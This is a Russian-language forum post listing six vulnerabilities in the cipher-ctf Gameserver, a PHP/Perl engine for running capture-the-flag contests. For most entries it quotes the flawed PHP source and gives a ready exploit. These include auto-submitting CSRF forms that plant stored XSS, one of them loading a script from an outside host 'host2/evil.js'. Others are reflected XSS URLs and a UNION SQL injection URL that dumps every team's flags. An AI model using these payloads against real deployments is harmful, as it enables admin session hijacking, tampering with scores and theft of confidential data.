Старый 23.07.2010, 02:11   #1
life_glider
 
Аватар для life_glider
 
Регистрация: 06.07.2010
Сообщений: 43
Репутация: 17
Talking Уязвимости cipher-ctf gameserver.

Challenges in Informatics: Patching, Hacking and Exploiting - Gameserver

Движок предназначен для проведения соревнований по защите информации(типа флагов).
Офф сайт:
http://www.cipher-ctf.org/Gameserver.php
язык: php(front-end),perl(back-end)
БД: mysql
Версия: 1.0413
привязка к IP: нет


Уязвимости:

1)
Тип уязвимости: сsrf,stored xss
Требования: права админа у жертвы
файл: advisory_review.php
Что можно: подделать запрос оценки адвайзори,в поле с комментарием к оценке внедрить html код

Код:
PHP код:
if (get_string('submit')=='submit') {
    $score = param('score');
    $judge = param('judge');
    $comment = param('comment');
    $publish = get_int('publish');
    if ($publish) {
            $sql = "UPDATE advisory SET score='$score', judge='$judge', judgecomment='$comment',publishtime=submittime+".($delay_advisory_publishment*60)." WHERE id='$id';";
    } else {
            $sql = "UPDATE advisory SET score='$score', judge='$judge', judgecomment='$comment',publishtime=NULL WHERE id='$id';";
    }

................................

    <tr><th>Judge</th><td><input type="text"   size=<?php echo $size_input_fields?> name="judge" value="<?php echo $judge?>" /></td></tr>
    <tr><th>Comment</th><td><input type="text" size=<?php echo $size_input_fields?> name="comment" value="<?php echo $comment?>" /></td></tr>
Exploit:
Код HTML:
<form name="f1" method="post" action="http://host/advisory_review.php"/> 
	<input type=hidden name=id value="1"> 
	<table> 	
	<input type="text"       size=10 name="score" value="100500"/>
	<input type="checkbox" value=1 name="publish" checked="1">
	<input type="text"   size=50 name="judge" value="GA!!! <script src=http://host2/evil.js></script>"/>
	<input type="text" size=50 name="comment" value="c00l" /> 
	<input type="submit" size=50 name="submit" value="submit" /> 
	</table> 
</form> 
<script>
document.forms[0].submit()
</script>
2)
Тип уязвимости: сsrf,stored xss
Требования: права админа у жертвы
файл: announcements.php,index.php
Что можно: подделать запрос добавления новости, внедрить в новости html код

Код:
PHP код:
if (array_key_exists('submit',$_POST) && ($_POST['submit'] == 'submit')) {
    
$message param('message');
    
$sql "INSERT INTO announce VALUES(NULL,$GAMEID,NOW(),\"$message\")";
    if (
query($sql)) {
        
header("Location: /");
        exit;
    } else {
        
$message "<font color=red>".mysql_error()."</font>";
    }

index.php:
PHP код:
$q query("SELECT unix_timestamp(timestamp) as time,message FROM announce WHERE fi_game=$GAMEID ORDER BY timestamp DESC");
$count 0;
while(
$row=mysql_fetch_array($q)) {
  if(!
$count) echo '<table border=1 width="100%">';
  
$msg_time strftime("%d.%m. %H:%M",$row['time']);
  echo 
"<tr><td align=center nowrap>$msg_time</td><td>".$row['message']."</td></tr>";
  ++
$count;

Exploit:
Код HTML:
<form method=post> 
	<p><input type="hidden" name='message' value="<script>alert(123);</script>"></input></p> 
	<p><input type=submit value=submit name=submit></p> 
</form> 
<script>
document.forms[0].submit()
</script>
3)
Тип уязвимости: reflected xss
Требования: права админа у жертвы
файл: service_status.php
Что можно: внедрить html код

Код:
PHP код:
if (isset($_REQUEST['term'])) $term=$_REQUEST['term'];
............
echo 
"<center><h3>$term: #$id ".$cols[$id]."</h3></center>"
Exploit:
Код HTML:
http://192.168.0.12:8080/service_status.php?term=team%3Cscript%3Ealert(123)%3C/script%3E&id=1'
4)
Тип уязвимости: sql-инъекция
Требования: cookies админа,которые например можно достать через xss
файл: service_status.php
Что можно: получить доступ к конфиденциальной информации из БД, например к флагам и описаниям уязвимостей других команд.

Код:
PHP код:
    $subq query("SELECT unix_timestamp(last_change) as time,info,debug,status FROM service_status
                      WHERE (fi_game=
$GAMEID)AND(fi_$other=$i)AND(fi_$term=$id)");; 
Exploit:
Код HTML:
http://192.168.0.12:8080/service_status.php?term=service%3d-1)+union%20select%201%20as%20info,group_concat(flag),3,4%20from%20flag+--+&id=1'
5) Почти бесполезная уязвимость thnx for v1d0q
Тип уязвимости: reflected xss
Требования: отсутствие прав админа у жертвы
файл: в закрытых разделах, где требуется ввести пароль админа.
Что можно: внедрить html код в ie

Код:

PHP код:
    echo "
        <form method=post>
            <input type=hidden name=goto value='"
.$_SERVER['REQUEST_URI']."'>
            <p>Enter password: <input type=password name=password></p>
            <p><input type=submit value='Login'></p>
        </form>
    "

Exploit:
http://host/1.php?'><script>alert()</script>

6)
Тип уязвимости: sql-инъекция
Требования: cookies админа,которые например можно достать через xss
файл: performance.php
Что можно: получить доступ к конфиденциальной информации из БД, например к флагам и описаниям уязвимостей других команд.

Код:
PHP код:
$rows query("SELECT id,name FROM $term,game_x_$term
              WHERE
(
$term.id=game_x_$term.fi_$term)AND(game_x_$term.fi_game=$GAMEID)
              ORDER BY 
$term.id"); 
Exploit:
Код HTML:
Please help!!! НИМАГУ
__________________
Вы все такие классные
life_glider вне форума   Ответить с цитированием
Ответ

Метки
csrf, ctf, hacking, sql-inj, xss

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot